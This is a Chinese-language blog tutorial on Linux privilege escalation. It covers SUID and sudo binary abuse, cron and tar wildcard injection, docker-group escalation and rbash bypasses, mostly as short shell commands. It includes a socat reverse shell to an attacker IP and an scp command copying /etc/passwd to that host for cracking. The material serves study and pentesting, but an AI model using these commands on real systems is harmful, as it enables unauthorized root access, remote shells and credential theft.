Linux-提权

参考

都是先用 root 来模拟配置不当.

利用 SUID 二进制文件进行提权

SUID 为 Set UID, 就是设置用户权限.

当你具有 SUID 权限二进制文件的可执行权限时,执行时会获得属主的权限.

SUID 只能添加给二进制文件,且只有在运行时才会获得属主权限.

比如, 你给 rm 命令添加了 SUID 权限,假设 test 文件是 root 用户创建的文件,此时, 你是普通用户,具有 rm 的执行权限, 那么:

1
$ rm test

将直接删除这个文件.

常见利用方式:

  • cp/etc/passwd, 利用 openssl 生成符合 passwd 格式的密码
  • findexec 参数, 指定一个命令对搜索的结果进行处理
  • vim
  • 脚本, 给普通脚本添加 suid

如:

1
$ find test -exec "whoami" \;

查看具有 SUID 权限的文件:

1
$ find test -perm -u=s -type f 2>/dev/null

当 vim 被赋予 suid 权限后,意味着任何用户都可以使用 vim 来编辑那些只能由 root 编辑的文件.

如,修改 /etc/sudoers 文件,给你当前用户添加执行 sudo 的权限,也就是获得了 root 权限.

可以用 sudo -l 查看当前用户的 sudo 权限.

利用 sudo 进行提权

sudosu 的区别:

  • sudo 全称是 super user do, 是用 root 权限执行命令
  • su 全称是 substitute user, 是切换账号

/etc/sudoers 文件中,对用户进行配置的格式, 如:

1
test ALL=(ALL:ALL) ALL

不可用 sudo 执行的命令可以写成如:

1
test ALL=(ALL:ALL) ALL !/usr/bin/find

各命令用逗号 , 分隔:

1
test ALL=(ALL:ALL) /usr/bin/find,/usr/bin/vim

当 sudo 允许执行 git 命令时,可利用 git 进行提权

1
$ sudo git help config

或:

1
$ sudo git -p help

上述命令可以进入 git 的帮助页面,然后在此页面下执行终端命令:

其他命令

用 find 命令

如利用 find 命令的 exec 参数来切换到 root 权限.

find 使用 exec 参数时,需要以分号结尾,但由于分号在命令行中是特殊字符,要用 \ 进行转义, 如:

1
$ find / -exec "/bin/bash" \;

用 perl

1
$ sudo perl -e 'exec "/bin/bash";'

用 python

调用 pty 库,这是一个伪终端库,它的 spawn 会调用指定的程序:

1
$ sudo python3 -c 'import pty;pty.spawn("/bin/bash")'

less 命令

输入 sudo less filename 浏览文件内容时,到底部输入 !bash 后回车,会获得一个 root 权限的 shell.

awk 命令

通过调用 linux 的 system 函数来打开 bash:

1
$ sudo awk 'BEGIN {system("/bin/bash")}'

man 命令

通过 sudo man man 命令来打开 man 的手册,输入 !bash, 获得一个具有 root 权限的 shell.

vi 命令

在 normal 模式下输入 !bash

一些脚本文件

文件内容如:
shell 脚本:

1
2
#! /bin/bash
/bin/bash

perl 脚本:

1
2
#! /usr/bin/perl
exec "/bin/bash";

应用程序

如 env, ftp, socat, scp.

通过 env 环境变量来获取 root 权限

1
$ sudo env /bin/bash

通过 ftp 来进入 bash 获取 root 权限

1
2
$ sudo ftp
ftp> !/bin/bash

通过 socat 客户端连接攻击机,攻击机可获得 rootshell

socat 是 Socket Cat 和 Netcat 类似.

先执行服务端,后执行客户端

客户端执行:

1
$ sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.23.128:4444

攻击机执行:

1
$ socat file:`tty`,raw,echo=0 tcp-listen:4444

scp, 用来复制一些系统的敏感文件

1
$ sudo scp /etc/passwd root@192.168.23.128:/root/Desktop

利用爆破软件破解,如 john 命令.

黑名单情况

绕过 sudoers 的黑名单,将命令复制到其他路径下.

NFS 配置不当导致

NFS 是 Network File System (网络文件系统) 的缩写. 用来挂载某个目录或文件进行共享,默认是 2049 端口.

首先需要安装 nfs 的服务端.

使用 PATH 变量进行 Linux 提权

root 给一个可执行文件赋予了 suid, 而此文件又调用了另一个脚本,这个脚本的执行时也会获得 root 权限.

也是配合 suid.

利用 Cron 进行 Linux 提权

cronjobs 是定时任务,在特定的日期和时间执行计划任务.

在其配置文件 /etc/crontab 下配置.

定义格式如下:

如,添加一个任务为:

1
*/2 *  * * *  root  /tmp/hack.pl

这个定时脚本具有 root 权限。(脚本需要有可执行权限:)

可以让脚本文件修改 sudoers 文件,把当前用户添加进去,获得 sudo 所有权,从而进行提权.

配合 tar 命令的 --checkpoint[=N] 参数和 --checkpoint-action=ACTION 参数. 为,每压缩多少个文件,执行一次 --checkpoint-action 后的命令.

tar 将文件名当作参数执行, 两个文件名为分别为: --checkpoint=1--checkpoint-action=sh hack.pl, 那么, tar 打包这两个文件的命令就成了:

1
$ tar --checkpoint=1

1
$ tar --checkpoint-action=sh hack.pl

利用 Docker 进行 Linux 提权

条件是,普通用户被添加到了 docker 用户组中.

利用方式如:

1
$ docker run -v /:/mnt -it alpine

相当于有了 root 权限.

还有将 /etc/passwd, /etc/sudoers 等文件挂载进 docker 容器, 然后修改.

rbash 绕过总结

rbash 是 Restricted bash 的缩写。

管理员可通过指定普通用户的 bash 为 rbash, 来限制相关操作. 在 rbash 中,很多行为和命令都会被受到限制 。

这里实际为绕过 rbash 的限制,绕过之后依旧是当前的普通用户,因此不算提权.

将用户默认终端设置为 rbash:

1
$ usermod -s /bin/rbash username

通过 vi 绕过

在 vi 的 normal 模式下输入 :!/bin/bash, 返回一个终端.

用 ed 绕过

ed 也是一个编辑器,和 vi 类似,也可输入命令.

1
2
$ ed
!'/bin/bash'

可以在 rbash 中执行 sh, bash, dash 等

1
2
3
4
5
$ sh
$ # or
$ bash
$ # or
$ dash

使用 python, perl 绕过

如果可以运行 python 或 perl 的话:

1
$ perl -e 'system("/bin/sh")'

使用 awk 绕过

1
$ awk 'BEGIN {system("/bin/sh")}'

使用 more, less, man 等绕过

随便读取一个文件.

如:

1
2
$ more .bashrc
!'sh'

ssh 登录绕过

用 ssh 登录时给自己分配 bash:

如:

1
$ ssh username@192.168.23.134 -t "bash --noprofile"

利用工具查找漏洞提权

安全脚本如:


Linux-提权
http://example.com/2022/12/08/Linux-提权/
作者
Jie
发布于
2022年12月8日
许可协议